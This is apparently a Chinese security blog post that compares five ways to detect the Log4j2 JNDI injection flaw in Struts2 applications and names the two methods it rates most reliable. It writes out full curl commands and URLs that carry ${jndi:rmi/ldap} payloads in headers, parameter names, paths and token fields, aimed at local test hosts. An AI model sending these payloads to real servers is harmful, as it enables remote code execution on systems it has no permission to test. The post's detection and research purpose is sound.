Part1 前言 

Log4j2漏洞出现有大半年的时间了,这个核弹级别的漏洞危害很大,但是这个漏洞检测起来却很麻烦,因为黑盒测试无法预判网站哪个应用功能在后台调用了log4j2记录日志功能。目前通用的做法就是使用burpsuite插件进行被动扫描,原理就是把所有与用户交互参数都用各种log4j2检测payload测试一遍,然后观察DNSlog中有没有访问记录。这个漏洞检测方法和SQL注入、XSS漏洞有点像,常规方法很难完全发现漏洞,有时候就连研发人员自己也搞不清楚哪些应用功能点调用了log4j2,所以这个漏洞在相当长的时间里会一直存在

在这里面要特别说明一下,burpsuite的被动插件扫描的方式,并不能完全发现Log4j2漏洞,因为有的log4j2漏洞需要特定的条件才能触发,有时候需要手工构造一个特殊URL路径,有时候需要发送一些框架特有的参数、消息头等等,有的框架如Struts2、Spring等需要构造特殊的数据包才能触发log4j2漏洞。网上有很多Struts2下log4j2漏洞检测专项方法,但是貌似并没有引起大家的重视。我大概有4、5年没看过Struts2框架的代码了,但毕竟对Struts2漏洞有感情了,所以就各种搜索把网上的各种检测方式汇总起来,搭建环境,跟踪代码,对各种检测方法进行对比,最后给出2个可靠好用的检测Struts2框架下Log4j2漏洞的方法。

 Part2 技术研究过程 

  • Struts2与log4j2日志级别配置

如下图所示,这是log4j2组件中关于日志级别的定义。日志输出级别共有8个,按照优先级从低到高为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。

接下来还要重点关注Struts2框架中log4j2.xml文件的配置,主要看<Logger name="org.apache.struts2" level="info"/>这部分内容,因为几乎所有的Struts2框架中的log4j2代码执行漏洞,都在org.apache.struts2路径下,观察其配置的是info级别、还是warn级别,还是debug级别。这个级别对应的数字值越高,则越有可能触发log4j2漏洞。如果Logger 配置的是info级别,由于info优先级比debug高,所以debug级别的log4j2的各种POC都没法执行,这也是为什么同样的log4j2的POC,有的网友本地环境能测试成功,有的不能成功,这是因为对于org.apache.struts2路径日志级别配置有所不同。

  • Struts2拦截器简介

要想理解Struts2框架下log4j2漏洞检测方法,首先需要了解一下Struts2的拦截器。当时Log4j2漏洞刚爆出的时候,我就感觉Struts2的拦截器中应该会有log4j2漏洞,因为所有的用户请求都会经过拦截器去处理,拦截器栈上那么多拦截器实现,其中肯定有各种log输出功能,所以应该会有漏洞。

1.  请求先到达Filter中央控制器;2.  然后为Action创建代理类;3.  将各个服务存放在拦截器中,执行完拦截器后再去执行action类,action类调用service,再调用dao;4.  得到结果字符串,创建result对象;5.  转向相应的视图。

归纳为一点:Struts2几乎所有的请求,都会经过拦截器栈的处理,拦截器栈上有各种各样的拦截器,而有的拦截器调用了log4j2输出日志功能,我们只需构造符合要求的http请求,就会触发Log4j2漏洞。接下来看看网上收集到的5个漏洞检测poc,挨个看一下,从中挑选比较好的检测POC,以便在日常工作中事半功倍。

  • 方法1:静态文件If-Modified-Since头

此检测payload摘自p1ay2win 天玄安全实验室原创,检测payload如下:

curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js

检测原理:warn级别,当用户访问Struts2框架的静态文件时,如果请求头If-Modified-Since的值为非Date型,将会触发log.warn(),导致log4j2代码执行漏洞。

优缺点:这是我个人比较推荐的一种检测方法。首先,它的日志级别是Log.warn(),比log.debug()写法优先级要高,因此成功率更大一些。其次/struts/utils.js 这个文件是多数Struts2框架内置的静态文件。但缺点是,不是所有版本的struts2 jar包中都存在这个静态文件,很多低版本的jar包中并不存在,所以这个方法需要总结出能够涵盖多个不同版本的Struts2框架的静态文件路径才行。

如下图所示,2.0.11版本jar包中不存在utils.js文件:

如下图所示,而2.5.13版本的jar包中存在utils.js这个文件:

  • 方法2:检查请求参数长度

此检测payload摘自p1ay2win 天玄安全实验室原创,检测payload如下:

http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123

检测原理:debug级别,访问一个存在的Struts2框架的action地址,Struts2框架会检查请求参数名的长度,若长度超过默认的100个字符,请求参数名则会输出到debug日志中,触发log4j2漏洞。

优缺点:这个方法测试效果不错,更重要的是同时支持GET请求和POST请求,在将来遇到WAF设备拦截时,可以用更多的手段去绕过waf设备拦截。缺点是日志级别的优先级是debug。

  • 方法3:检查请求路径触发

此检测payload摘自p1ay2win 天玄安全实验室原创,检测payload如下:

http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/

本地测试怎么都测试不成功,发现需要将rmi替换成ldap

http://localhost:8080/helloworld_war/$%7Bjndi:ldap:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/

检测原理:warn级别,Struts2框架下URL路径的action名如果不在[a-zA-Z0-9._!/\-]范围以内,将会触发 LOG.warn(),导致log4j2代码执行漏洞。

优缺点:第一眼看到上述POC,就感觉检测payload中那几个反斜杠肯定会导致POC不能正常执行。但是文章作者给出了一个很好的解决方法:“在请求路径中两个相邻的/会被转换为一个/,将其中一个/替换为${::-/}可防止被转换”。缺点是有的版本Struts2框架中DefaultActionMapper类中没有cleanupActionName方法,导致此流程的log4j2不能用。

  • 方法4:checkbox 拦截器

此检测方法摘自安全客saound的检测方法,检测payload如下:

http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b

检测原理:debug级别,这个检测方法,基于struts2自带的拦截器,当请求参数名以 __checkbox_ 开始并且重复定义时,会进入log4j2记录分支,执行LOG.debug()执行,故构造请求如下:

优缺点:方法挺好的,唯一的缺点就是日志级别是debug级别的。

2.3.14.2版本代码如下:

2.5.12版本代码如下:

  • 方法5:struts.token.name

此payload收集于网络,原创作者不知道是谁,检测payload如下:

http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'

优缺点:debug级别,这个payload看起来不错,构造简单,编写脚本去扫描也比较省事。通过struts.token.name可知,我猜触发点应该是在token拦截器中。我本地经过测试,大致判断应该是log.debug级别的,这里就不详细分析了。

综上所述,最终通过对比这5个检测payload,个人结论是方法1:获取静态文件If-Modified-Since头”这种方法成功率更高一些,其次是方法3:检测请求路径触发。目前放出的检测POC,也仅有这两个payload是WARN级别的,所以它是成功率较高的检测POC。缺点是,对于不了解Struts2框架的新手,定位静态文件是个麻烦事,写扫描规则也麻烦。

  • 编写检测工具融合payload

为了避免人为记录DNSLog的嫌疑,我没有在工具中使用DNSLog的api接口,大家需要手工设置自己的log4j2 DNSlog地址。注意,我写的工具这里的“Log4j2 DNSLog地址:”这个检测功能,只针对Struts2框架下的log4j2检测功能,并不通用所有的log4j2漏洞检测。

 Part3 总结 

1.  网上的针对Struts2框架下log4j2漏洞的检测POC,触发点目前看来就是2种,log.warn()或者是log.debug(),那么优先选择触发点在log.warn()的检测payload。

2.  了解一下log4j2漏洞的原理,可以避免在实战中做很多的无用功。使用“静态文件If-Modified-Since头”这种检测方法时,要注意Struts2框架自带静态文件的正确URL位置,不要生搬硬套检测POC。

参考链接:

https://www.anquanke.com/post/id/262852

https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg

https://blog.csdn.net/weixin_39604280/article/details/111104622

专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等

每周一篇,99%原创,敬请关注

第14篇:Struts2框架下Log4j2漏洞检测方法分析与总结相关推荐

  1. 第二篇 基于自然语言处理的漏洞检测方法综述

    杨伊等 来源:计算机研究与发展 目录 1 相关技术 1.1 自然语言处理 1.2 漏洞检测与分析 据2021年CVE漏洞趋势安全报告,当前漏洞类型占比最大的5类漏洞分别是代码执行.拒绝服务.溢出.跨站 ...

  2. 第2篇:区分Spring与Struts2框架的几种新方法

    Part1前言 在近几年的HW比赛.红队项目中,攻击队在外围打点时,越来越依赖于对Java站点的漏洞挖掘.Java站点的主流框架大致就是两个:Struts2系列(包括Webwork等)及Spring系 ...

  3. 关于将struts2框架下,使自定义过滤器对部分的action(一个action或多个action)请求忽略的方法

    关于将struts2框架下,使自定义过滤器对部分的action请求忽略的方法 首先需要了解一个方法 request.getServletPath() 他将返回一个当前请求的路径的醉详细名称 例如对路径 ...

  4. java struts2上传文件_java Struts2框架下实现文件上传功能

    本文实例为大家分享了struts2框架实现文件上传的方法,供大家参考,具体内容如下 struts2的配置过程 (1)在项目中加入jar包 (2)web.xml中filter(过滤器)的配置 xmlns ...

  5. Go常见错误第14篇:过度使用getter和setter方法

    前言 这是Go常见错误系列的第14篇:过度使用getter和setter方法. 素材来源于Go布道者,现Docker公司资深工程师Teiva Harsanyi. 本文涉及的源代码全部开源在:Go常见错 ...

  6. 论文阅读笔记——基于CNN-GAP可解释性模型的软件源码漏洞检测方法

    本论文相关内容 论文下载地址--Engineering Village 论文阅读笔记--基于CNN-GAP可解释性模型的软件源码漏洞检测方法 文章目录 本论文相关内容 前言 基于CNN-GAP可解释性 ...

  7. 对计算机系统进行软攻击的方法,计算机软件中安全漏洞检测方法研究

    论文写作指导:请加QQ97050021 计算机软件安全漏洞是指计算机在网络环境中将造成计算机操作环境安全的漏洞,下面是小编搜集整理的一篇探究计算机软件安全漏洞现状的论文范文,欢迎阅读借鉴. 摘 要:计 ...

  8. android 隐私泄露 路径,一种Android应用隐私泄露漏洞检测方法与流程

    本发明涉及Android查漏的技术领域,尤其涉及到一种Android应用隐私泄露漏洞检测方法. 背景技术: 在目前的Android隐私泄露漏洞检测方法中,静态污点分析是最常用且最有效的方法.首先对an ...

  9. 基于图神经网络的代码漏洞检测方法

    文章结构 1. 引言 1.1 漏洞现状 1.2 漏洞研究传统特点 现有的研究方案大多把源代码转化为文本序列,使用自然语言处理中常用的循环神经网络进行自动化特征提取,但这忽略了代码中由于跳转.循环.判断 ...

最新文章

  1. 【 Verilog HDL 】清晰的时序逻辑描述方法之计数器的描述范例
  2. html textarea换行和dom换行
  3. python正则表达式操作指南_Python正则表达式操作指南
  4. 数据库表命名 单数复数_数据是还是数据是? “数据”一词是单数还是复数?
  5. admin——django自带数据库管理工具
  6. c语言简易调度器,给大家分析SD调度器
  7. (笔试题)滑动窗口的最大值
  8. 网页登陆注册(jsp实现)验证码
  9. Flex样式工作原理
  10. 冬至了,回家羊肉。:)
  11. 关于java实习报告周记_2019年度热门关于java实习报告周记优秀七篇
  12. PR视频编辑软件Premiere软件安装包下载地址及安装教程
  13. 10部令人泣不成声的经典电影
  14. 水星路由服务器无信号,水星路由器MW326R没有WiFi信号了怎么回事?【图解】
  15. UpdateData()函数用法
  16. Egg.js 异常处理、中间件、jwt,实现接口权限控制
  17. 跨跃平台交流无极限——linux下如何使用即时聊天工具,跨跃平台 交流无极限——Linux下如何使用即时聊天工具(一)...
  18. TP5后端,VUE前端请求聚合数据驾照题库
  19. 好人不长命 祸害遗千年
  20. 索道修筑是因一次台风造成泥石流而冲得很不好走

热门文章

  1. Redis学习(List数据类型)
  2. 2019-HRNet CVPR
  3. 遇到apache启动失败的正确的解决问题的方法
  4. 易表软件强大但高估用户水平
  5. win10 安装c语言无法启动,如何解决win10应用程序无法正常启动0xc0000018的问题
  6. 使用Latex输入藏文字符
  7. 云计算和大数据区别和联系
  8. 还能如期发布新车吗?法拉第未来两高管离职
  9. 海格里斯自动导引运输车AGV穿梭车立体库 堆垛机+穿梭车货架系统(Stacker A kind of Two way siutte rack system)
  10. 一、初识JavaScript - 章节课后练习题及答案